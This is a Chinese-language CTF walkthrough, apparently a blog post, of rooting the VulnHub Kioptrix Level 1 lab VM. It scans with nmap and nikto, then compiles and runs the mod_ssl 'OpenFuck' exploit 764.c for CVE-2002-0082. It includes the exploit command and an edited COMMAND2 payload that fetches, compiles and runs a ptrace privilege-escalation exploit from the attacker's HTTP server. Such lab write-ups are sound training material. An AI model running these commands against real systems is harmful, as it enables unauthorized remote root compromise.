vulnhub Kioptrix: Level 1 (#1)

写在前面

(1)本文使用的方法是利用apache mod_ssl 2.8.4的Remote Buffer Overflow 漏洞(CVE-2002-0082)getshell并拿到root权限。

(2)网上有看到其他wp使用samba的漏洞来获取root权限,但我的环境上连接samba服务器都有问题:

网上查了一下,NT_STATUS_IO_TIMEOUT这个问题应该是samba服务器端的问题造成的,既然如此,也就没有再尝试这种方法了。

如果有哪位大神知道这个问题产生的原因,万望告知,感谢~

(3)强烈建议打这个靶机之前先整一份干净的备用靶机……

正文

步骤1:获得目标主机IP地址

确认网段ip

 用arp-scan扫描网段主机

sudo arp-scan 192.168.101.1/24

得到目标主机地址192.168.101.15

 或者也可以用nmap扫描网段存活主机

sudo nmap -sn 192.168.101.1/24

 更多扫描网段存活主机的方法可参见下文:

内网存活主机探测的几种方法 - 春告鳥 - 博客园 (cnblogs.com)https://www.cnblogs.com/Cl0ud/p/13802852.html

步骤2:扫描端口

为了节约时间仅扫描端口号1-10000

sudo nmap -sS -A -p 1-10000 192.168.101.15

扫描结果中几个比较可能存在问题的:

(1)apache 1.3.20

(2)mod_ssl 2.8.4

(3)OpenSSL 0.9.6b

(4)Samba(版本不知道)

第3步:访问80和443端口(无有用结果)

443端口访问不了,80端口如下,好像没什么

 第4步:dirbuster扫描(无有用结果)

sudo dirbuster -u http://192.168.101.15/

没扫到什么有用的

第5步:用nikto扫描

nikto -host 192.168.101.15

有收获,扫到几个过期组件和漏洞,由于本关是要拿root权限,所以重点关注下getshell的漏洞,如下图红框所示

(上图最下面几个backdoor file manager似乎都是误报,尝试访问都是not found)

第6步:上exploit-db找exp

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)https://www.exploit-db.com/

根据nikto的扫描结果,找一下mod_ssl 2.8,我下载了下图红框中那个日期比较新,并且经过验证的。下载下来的文件名字叫764.c,把这个文件拷贝到kali linux中。

第7步: 编译执行exp,完成攻击

(1)编译:

gcc -o 764 764.c -lcrypto

遇到如下图所示问题

 解决方法是安装 OpenSSL 开发包

sudo apt-get install libssl-dev

再次编译,又遇到好多问题,一张图都截不完:

按照下面这篇文章修改764.c即可

Compiling exploit 764.c in 2017 (using libssl-dev 1.1.0f ) - Hypn.za.nethttps://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/重新编译之后,编译成功

(2)执行

输入./764可以查看使用方法,target需要根据nmap扫描出来的系统和apache版本信息,参照下图中的Supported OffSet来确定

命令行输入

./764 0x6b 192.168.101.15 443 -c 40

结果没有成功,原因是和下载提权脚本的网站建立不了SSL连接

在攻击机kali上试了一下是可以成功下载的,于是灵光一现,在攻击机上执行下面的命令,先把ptrace-kmod.c下载到攻击机上

wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

然后下面的命令在攻击机上起一个简单的http服务

python -m SimpleHTTPServer 7777

764.c中COMMAND2赋值那一行(经过上面的修改之后应该是672或者673行) 修改为

#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://192.168.101.16:7777/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"

这样,执行exp之后,靶机就不会再从外网下载提权用的ptrace-kmod.c,而是直接从攻击机上下载。

再重新执行命令

./764 0x6b 192.168.101.15 443 -c 40

就可以成功拿到root权限

到这里,利用apache mod_ssl 2.8.4的Remote Buffer Overflow 漏洞(CVE-2002-0082)getshell并拿到root权限的方法就结束了。

比较可恶的是,提权执行成功之后,没有提示……也不显示当前用户……搞得我以为提权没成功,还折腾了一会儿-_-|||

后来看了别人的wp,发现其实也可以用exploit-db上2019年的那个脚本,只要改COMMAND2赋值那一行就行了,更方便一点。

11.18 后记

据一位不愿意透露姓名的机智的小伙伴推断,samba登录不上应该是因为靶机的samba版本太低了,和现在的kali上的smbclient不兼容了。他用msf探测出了samba的版本,然后在exploit-db上找到了exp,成功getshell并提权。据说比本文的方法方便许多-_-|||

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值